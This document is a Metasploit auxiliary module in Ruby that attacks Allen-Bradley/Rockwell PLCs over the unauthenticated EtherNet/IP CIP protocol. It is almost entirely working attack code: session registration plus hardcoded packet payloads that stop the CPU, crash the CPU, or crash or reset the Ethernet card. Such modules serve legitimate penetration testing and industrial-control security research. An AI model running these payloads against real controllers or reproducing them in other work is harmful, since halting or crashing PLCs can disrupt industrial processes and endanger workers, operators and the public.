##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
      'Description'    => %q{
        The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
        implements the protocol.  This module implements the CPU STOP command, as well as
        the ability to crash the Ethernet card in an affected device.

        This module is based on the original 'ethernetip-multi.rb' Basecamp module
        from DigitalBond.
      },
      'Author'         =>
        [
          'Ruben Santamarta <ruben[at]reversemode.com>',
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate' => '2012-01-19'))

    register_options(
      [
        Opt::RPORT(44818),
        # Note that OptEnum is case sensitive
        OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
          [
            "STOPCPU",
            "CRASHCPU",
            "CRASHETHER",
            "RESETETHER"
          ]
        ])
      ], self.class
    )
  end

  def run
    attack = datastore["ATTACK"]
    print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
    sid = req_session
    if sid
      forge_packet(sid, payload(attack))
      print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
    end
  end

  def forge_packet(sessionid, payload)
    packet = ""
    packet += "\x6f\x00" # command: Send request/reply data
    packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
    packet += [sessionid].pack("N") # session identifier (4 bytes)
    packet += payload #payload part
    begin
      sock.put(packet)
    rescue ::Interrupt
      print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
      print_error("#{rhost}:#{rport} - CIP - Network error during payload")
      return nil
    end
  end

  def req_session
    begin
      connect
      packet = ""
      packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
      packet += "\x04\x00" # encaph_length (2 bytes)
      packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
      packet += "\x00\x00\x00\x00" # status code (4 bytes)
      packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
      packet += "\x00\x00\x00\x00" # options flags (4 bytes)
      packet += "\x01\x00" # proto (2 bytes)
      packet += "\x00\x00" # flags (2 bytes)
      sock.put(packet)
      response = sock.get_once
      if response
        session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
        if session_id
          print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
        else
          print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
          return nil
        end
      else
        raise ::Rex::ConnectionTimeout
      end
    rescue ::Interrupt
      print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
      print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
      return nil
    end
    return session_id
  end

  def cleanup
    disconnect rescue nil
  end

  def payload(attack)
    case attack
    when "STOPCPU"
      payload =  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
      "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
      "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
      "\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00"                           #packet3
    when "CRASHCPU"
      payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
      "\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
      "\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
    when "CRASHETHER"
      payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
      "\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
    when "RESETETHER"
      payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
      "\x05\x03\x20\x01\x24\x01\x30\x03"
    else
      print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
      return nil
    end
  end
end
